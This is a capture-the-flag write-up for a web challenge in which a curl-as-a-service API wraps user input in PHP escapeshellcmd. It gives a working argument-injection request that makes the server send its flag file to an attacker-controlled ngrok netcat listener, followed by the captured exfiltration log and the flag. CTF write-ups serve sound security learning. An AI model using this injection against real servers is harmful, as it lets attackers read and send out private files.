# AbstractFor the detailed version see the [Github page](https://github.com/KamilPacanek/writeups/blob/master/ctf/HTB.CA2021/caas.md).
## ToEWe are given the IP with a port and web application source code dump.
## ReconInitial scan with `nmap` shows the website is running on `nginx`. Web application exposes the `/api/curl` API presumably using `curl` internally. In `CommandModel.php` file we see that the `curl` command is built from the POST request parameter passed through PHP `escapeshellcmd`.
`escapeshellcmd` have a known vulnerability we are going to exploit. Quoting the manual page:
> **Warning**: `escapeshellcmd()` should be used on the whole command string, and it still allows the attacker to pass arbitrary number of arguments. > For escaping a single argument `escapeshellarg()` should be used instead.
## ExploitI've setup the `nc` listener via `ngrok` and run the following request:
`url -H "application/x-www-form-urlencoded" -d 'ip=-F fg=@../../flag 1f106a9e85a2.ngrok.io' -v 138.68.178.56:32236/api/curl`
We see the flag on the netcat output:```listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 58946POST / HTTP/1.1Host: 1f106a9e85a2.ngrok.ioUser-Agent: curl/7.64.0Content-Length: 227Accept: */*Content-Type: multipart/form-data; boundary=------------------------a588a0571ed8077fX-Forwarded-For: 138.68.178.56X-Forwarded-Proto: httpAccept-Encoding: gzip
--------------------------a588a0571ed8077fContent-Disposition: form-data; name="fg"; filename="flag"Content-Type: application/octet-stream
CHTB{f1le_r3trieval_4s_a_s3rv1ce}--------------------------a588a0571ed8077f--```
## Solution> `CHTB{f1le_r3trieval_4s_a_s3rv1ce}`